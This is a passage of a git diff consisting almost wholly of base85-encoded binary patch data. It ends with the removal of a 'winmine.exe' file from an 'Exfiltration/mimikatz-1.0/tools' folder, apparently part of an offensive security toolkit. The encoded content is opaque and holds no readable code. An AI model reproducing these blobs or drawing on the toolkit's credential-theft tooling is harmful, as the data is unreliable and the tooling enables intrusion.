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 diff --git a/Exfiltration/mimikatz-1.0/tools/winmine.exe b/Exfiltration/mimikatz-1.0/tools/winmine.exe deleted file mode 100644 index 3833d6ccea61f11210c4de6dc27489f6d71ee41f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 119808 zcmeFZd3;mHwK#rlOkxONlj4@PS)7)%X$dI_kU$NIjV&<526>abZ;~wOTD$JmzF+NE zoA-T@WgD}v2_$4OOMtX#Ur6&3UeotV)1*(t>3g(I3F)KJ@644APE+3Z_wVob`Cb^! z%$YN1&YYP!bLPywF0PJX3or~zgOEsI*eQt7lgs@6?>|?dc-g}*FT+kO`o$xsQi^`@ zNV!O?&Q_@8LRFJAo7W_h$%*V{LAHvNWs7Cm1-r|#rES!Jic%I} zq|=-;2fK=8q}-QsFNSRfNM{NIe&kt*G9j>;YzmW3#ju4~3KNiAk`DkOgDHRrWQzI$G)t3I!7ef+%E(QsaSQFvba;g8O153D-R z(7KZOv3C8d|EYcQ&5yM&G=8l8ljURW8}g5|`}TgM{SNuDwr})fZO6#RTEn+K(*Awo zW3B$_kF{48{(-6c!S7j2e17z@w%u}Bd%fVYc9ZvA?SB_u)&|~uM|U^MiM_KmY4x?V2wyYaicx zS^G@=W$l#zvi613m$lQ{%i1MXm$d~DEAY!qVvB!b2<+#X{1}Oe**%jJuN22WSErs6<|+bB20oQpnO}CSR&wO6Y^}H zO3*|IvbTx}X_I0xYGYfGyosOP@{brixm3|ah?^yXY(5Vm<^e4gCcv67KBfnSB7u}1 z@_Z=U1!*ay*Fm}*TAxeL!JnE3N9j5Elk?yxosY?Zt{mD)(&1sPkixKHpe@75*>n?> zC*fs)OF{|ap$d8`$J7i?<-9Z(_~By&$O6L(fsPmxLKI|Rz|<;$bPN0wV?3ZK z0SrBZgW70;oEG|s`d`b`;z1gx)pUHdjNptNE8SKTpGJ#4XP_09fg?6_-xfaD}j-Up#VwqGd6Fi~dH)9p_r_`s9 z)2#H2lb6oKGkvU2qmS2MDP`1joRc6wr8mSgv6Ra;v<@MW%WfOr?8OxH`fOZ#P@+8ppqctY}6R>4eHUx5|9{< z#kW8c@sUS>i>xb9dEInwea)L^)3AT2vCQ=W8OjHimID5a)Aa#iOKdmXgsq%@!>Jrs6$6#4rF;TM#%2UyR_^`S4T*|2_m4&WA5x;7bsEH^37cE&&nI za+H6L$-jc~87Th~CVvX$m!bT_kUs|_L$j7p@iI<^^J5Sz6@M(l`Ey9D>4KjOrvrWq 